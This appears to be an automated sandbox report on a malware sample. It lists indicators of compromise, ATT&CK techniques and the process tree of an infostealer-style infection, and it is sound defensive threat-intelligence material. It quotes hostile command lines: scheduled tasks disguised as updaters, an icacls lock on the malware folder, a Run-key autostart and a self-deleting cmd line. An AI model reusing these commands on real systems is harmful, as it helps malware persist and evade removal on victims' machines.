djvu | 2a2ecc42d3253522865e11adc9cd8ff0afd512dcb0ff8abbb5ac4d4d020878f4

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	D14F.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	E576.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	liyy.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	40E.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	40E.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	build2.exe

Executes dropped EXE 24 IoCs

pid	Process
2376	D14F.exe
5028	D518.exe
3772	D6A0.exe
1872	E576.exe
4268	llpb1133a.exe
680	liyy.exe
4552	XandETC.exe
668	liyy.exe
3972	FC6A.exe
4072	A1.exe
2956	2A6.exe
1256	40E.exe
2268	548.exe
1096	40E.exe
3832	40E.exe
4360	40E.exe
2296	build2.exe
912	build2.exe
4588	build3.exe
2520	874A.exe
4180	8D85.exe
4440	updater.exe
4844	mstsca.exe
3312	svcupdater.exe

Loads dropped DLL 5 IoCs

pid	Process
4744	rundll32.exe
912	build2.exe
912	build2.exe
912	build2.exe
912	build2.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2060	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x0006000000022e35-164.dat	vmprotect
behavioral1/files/0x0006000000022e35-163.dat	vmprotect
behavioral1/memory/4268-172-0x0000000140000000-0x000000014061E000-memory.dmp	vmprotect

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	dllhost.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\b0669104-750d-4b7a-9f5a-f991dba747b4\\40E.exe\" --AutoStart"	40E.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
86	api.2ip.ua
78	api.2ip.ua
79	api.2ip.ua

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2268	548.exe
2268	548.exe
2268	548.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1256 set thread context of 1096	1256	40E.exe	114
PID 3832 set thread context of 4360	3832	40E.exe	118
PID 2296 set thread context of 912	2296	build2.exe	120

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3580	sc.exe
1420	sc.exe
3464	sc.exe
5020	sc.exe
1576	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
1444	3772	WerFault.exe	87
1364	2376	WerFault.exe	85
2200	3972	WerFault.exe	101
1996	4744	WerFault.exe	106
3696	2956	WerFault.exe	108
2616	912	WerFault.exe	120
4472	2268	WerFault.exe	111

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2a2ecc42d3253522865e11adc9cd8ff0afd512dcb0ff8abbb5ac4d4d020878f4.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2a2ecc42d3253522865e11adc9cd8ff0afd512dcb0ff8abbb5ac4d4d020878f4.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2a2ecc42d3253522865e11adc9cd8ff0afd512dcb0ff8abbb5ac4d4d020878f4.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D518.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D518.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D518.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	A1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	A1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	A1.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1544	schtasks.exe
4464	schtasks.exe
1412	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
856	timeout.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	68	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2636	2a2ecc42d3253522865e11adc9cd8ff0afd512dcb0ff8abbb5ac4d4d020878f4.exe
2636	2a2ecc42d3253522865e11adc9cd8ff0afd512dcb0ff8abbb5ac4d4d020878f4.exe
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
376	Explorer.EXE

Suspicious behavior: MapViewOfSection 21 IoCs

pid	Process
2636	2a2ecc42d3253522865e11adc9cd8ff0afd512dcb0ff8abbb5ac4d4d020878f4.exe
5028	D518.exe
4072	A1.exe
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE
376	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeDebugPrivilege	3408	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeShutdownPrivilege	1260	powercfg.exe
Token: SeCreatePagefilePrivilege	1260	powercfg.exe
Token: SeShutdownPrivilege	3488	powercfg.exe
Token: SeCreatePagefilePrivilege	3488	powercfg.exe
Token: SeShutdownPrivilege	4288	powercfg.exe
Token: SeCreatePagefilePrivilege	4288	powercfg.exe
Token: SeShutdownPrivilege	2008	powercfg.exe
Token: SeCreatePagefilePrivilege	2008	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3440	powershell.exe
Token: SeSecurityPrivilege	3440	powershell.exe
Token: SeTakeOwnershipPrivilege	3440	powershell.exe
Token: SeLoadDriverPrivilege	3440	powershell.exe
Token: SeSystemProfilePrivilege	3440	powershell.exe
Token: SeSystemtimePrivilege	3440	powershell.exe
Token: SeProfSingleProcessPrivilege	3440	powershell.exe
Token: SeIncBasePriorityPrivilege	3440	powershell.exe
Token: SeCreatePagefilePrivilege	3440	powershell.exe
Token: SeBackupPrivilege	3440	powershell.exe
Token: SeRestorePrivilege	3440	powershell.exe
Token: SeShutdownPrivilege	3440	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeSystemEnvironmentPrivilege	3440	powershell.exe
Token: SeRemoteShutdownPrivilege	3440	powershell.exe
Token: SeUndockPrivilege	3440	powershell.exe
Token: SeManageVolumePrivilege	3440	powershell.exe
Token: 33	3440	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
680	liyy.exe
680	liyy.exe
668	liyy.exe
668	liyy.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 376 wrote to memory of 2376	376	Explorer.EXE	85
PID 376 wrote to memory of 2376	376	Explorer.EXE	85
PID 376 wrote to memory of 2376	376	Explorer.EXE	85
PID 376 wrote to memory of 5028	376	Explorer.EXE	86
PID 376 wrote to memory of 5028	376	Explorer.EXE	86
PID 376 wrote to memory of 5028	376	Explorer.EXE	86
PID 376 wrote to memory of 3772	376	Explorer.EXE	87
PID 376 wrote to memory of 3772	376	Explorer.EXE	87
PID 376 wrote to memory of 3772	376	Explorer.EXE	87
PID 2376 wrote to memory of 1544	2376	D14F.exe	91
PID 2376 wrote to memory of 1544	2376	D14F.exe	91
PID 2376 wrote to memory of 1544	2376	D14F.exe	91
PID 376 wrote to memory of 1872	376	Explorer.EXE	95
PID 376 wrote to memory of 1872	376	Explorer.EXE	95
PID 376 wrote to memory of 1872	376	Explorer.EXE	95
PID 1872 wrote to memory of 4268	1872	E576.exe	97
PID 1872 wrote to memory of 4268	1872	E576.exe	97
PID 1872 wrote to memory of 680	1872	E576.exe	98
PID 1872 wrote to memory of 680	1872	E576.exe	98
PID 1872 wrote to memory of 680	1872	E576.exe	98
PID 1872 wrote to memory of 4552	1872	E576.exe	99
PID 1872 wrote to memory of 4552	1872	E576.exe	99
PID 680 wrote to memory of 668	680	liyy.exe	100
PID 680 wrote to memory of 668	680	liyy.exe	100
PID 680 wrote to memory of 668	680	liyy.exe	100
PID 376 wrote to memory of 3972	376	Explorer.EXE	101
PID 376 wrote to memory of 3972	376	Explorer.EXE	101
PID 376 wrote to memory of 3972	376	Explorer.EXE	101
PID 376 wrote to memory of 4072	376	Explorer.EXE	104
PID 376 wrote to memory of 4072	376	Explorer.EXE	104
PID 376 wrote to memory of 4072	376	Explorer.EXE	104
PID 4828 wrote to memory of 4744	4828	rundll32.exe	106
PID 4828 wrote to memory of 4744	4828	rundll32.exe	106
PID 4828 wrote to memory of 4744	4828	rundll32.exe	106
PID 376 wrote to memory of 2956	376	Explorer.EXE	108
PID 376 wrote to memory of 2956	376	Explorer.EXE	108
PID 376 wrote to memory of 2956	376	Explorer.EXE	108
PID 376 wrote to memory of 1256	376	Explorer.EXE	110
PID 376 wrote to memory of 1256	376	Explorer.EXE	110
PID 376 wrote to memory of 1256	376	Explorer.EXE	110
PID 376 wrote to memory of 2268	376	Explorer.EXE	111
PID 376 wrote to memory of 2268	376	Explorer.EXE	111
PID 376 wrote to memory of 2268	376	Explorer.EXE	111
PID 1256 wrote to memory of 1096	1256	40E.exe	114
PID 1256 wrote to memory of 1096	1256	40E.exe	114
PID 1256 wrote to memory of 1096	1256	40E.exe	114
PID 1256 wrote to memory of 1096	1256	40E.exe	114
PID 1256 wrote to memory of 1096	1256	40E.exe	114
PID 1256 wrote to memory of 1096	1256	40E.exe	114
PID 1256 wrote to memory of 1096	1256	40E.exe	114
PID 1256 wrote to memory of 1096	1256	40E.exe	114
PID 1256 wrote to memory of 1096	1256	40E.exe	114
PID 1256 wrote to memory of 1096	1256	40E.exe	114
PID 1096 wrote to memory of 2060	1096	40E.exe	115
PID 1096 wrote to memory of 2060	1096	40E.exe	115
PID 1096 wrote to memory of 2060	1096	40E.exe	115
PID 1096 wrote to memory of 3832	1096	40E.exe	116
PID 1096 wrote to memory of 3832	1096	40E.exe	116
PID 1096 wrote to memory of 3832	1096	40E.exe	116
PID 3832 wrote to memory of 4360	3832	40E.exe	118
PID 3832 wrote to memory of 4360	3832	40E.exe	118
PID 3832 wrote to memory of 4360	3832	40E.exe	118
PID 3832 wrote to memory of 4360	3832	40E.exe	118
PID 3832 wrote to memory of 4360	3832	40E.exe	118

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:376
- C:\Users\Admin\AppData\Local\Temp\2a2ecc42d3253522865e11adc9cd8ff0afd512dcb0ff8abbb5ac4d4d020878f4.exe
  "C:\Users\Admin\AppData\Local\Temp\2a2ecc42d3253522865e11adc9cd8ff0afd512dcb0ff8abbb5ac4d4d020878f4.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2636
- C:\Users\Admin\AppData\Local\Temp\D14F.exe
  C:\Users\Admin\AppData\Local\Temp\D14F.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
    3⤵
    - Creates scheduled task(s)
    PID:1544
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2376 -s 1136
    3⤵
    - Program crash
    PID:1364
- C:\Users\Admin\AppData\Local\Temp\D518.exe
  C:\Users\Admin\AppData\Local\Temp\D518.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:5028
- C:\Users\Admin\AppData\Local\Temp\D6A0.exe
  C:\Users\Admin\AppData\Local\Temp\D6A0.exe
  2⤵
  - Executes dropped EXE
  PID:3772
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3772 -s 448
    3⤵
    - Program crash
    PID:1444
- C:\Users\Admin\AppData\Local\Temp\E576.exe
  C:\Users\Admin\AppData\Local\Temp\E576.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe
    "C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe"
    3⤵
    - Executes dropped EXE
    PID:4268
- - C:\Users\Admin\AppData\Local\Temp\liyy.exe
    "C:\Users\Admin\AppData\Local\Temp\liyy.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:680
  - - C:\Users\Admin\AppData\Local\Temp\liyy.exe
      "C:\Users\Admin\AppData\Local\Temp\liyy.exe" -h
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:668
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4552
- C:\Users\Admin\AppData\Local\Temp\FC6A.exe
  C:\Users\Admin\AppData\Local\Temp\FC6A.exe
  2⤵
  - Executes dropped EXE
  PID:3972
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3972 -s 812
    3⤵
    - Program crash
    PID:2200
- C:\Users\Admin\AppData\Local\Temp\A1.exe
  C:\Users\Admin\AppData\Local\Temp\A1.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4072
- C:\Users\Admin\AppData\Local\Temp\2A6.exe
  C:\Users\Admin\AppData\Local\Temp\2A6.exe
  2⤵
  - Executes dropped EXE
  PID:2956
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2956 -s 456
    3⤵
    - Program crash
    PID:3696
- C:\Users\Admin\AppData\Local\Temp\40E.exe
  C:\Users\Admin\AppData\Local\Temp\40E.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Users\Admin\AppData\Local\Temp\40E.exe
    C:\Users\Admin\AppData\Local\Temp\40E.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\b0669104-750d-4b7a-9f5a-f991dba747b4" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:2060
  - - C:\Users\Admin\AppData\Local\Temp\40E.exe
      "C:\Users\Admin\AppData\Local\Temp\40E.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:3832
    - - C:\Users\Admin\AppData\Local\Temp\40E.exe
        
        "C:\Users\Admin\AppData\Local\Temp\40E.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4360
      - C:\Users\Admin\AppData\Local\05efc326-ccbd-418d-9dd3-b4fc492e45ae\build2.exe
        
        "C:\Users\Admin\AppData\Local\05efc326-ccbd-418d-9dd3-b4fc492e45ae\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2296
        
        C:\Users\Admin\AppData\Local\05efc326-ccbd-418d-9dd3-b4fc492e45ae\build2.exe
        
        "C:\Users\Admin\AppData\Local\05efc326-ccbd-418d-9dd3-b4fc492e45ae\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:912
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\05efc326-ccbd-418d-9dd3-b4fc492e45ae\build2.exe" & exit
        8⤵
        
        PID:2556
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:856
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 2144
        8⤵
        Program crash
        
        PID:2616
      - C:\Users\Admin\AppData\Local\05efc326-ccbd-418d-9dd3-b4fc492e45ae\build3.exe
        
        "C:\Users\Admin\AppData\Local\05efc326-ccbd-418d-9dd3-b4fc492e45ae\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4588
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4464
- C:\Users\Admin\AppData\Local\Temp\548.exe
  C:\Users\Admin\AppData\Local\Temp\548.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2268
- - C:\Windows\system32\dllhost.exe
    "C:\Windows\system32\dllhost.exe"
    3⤵
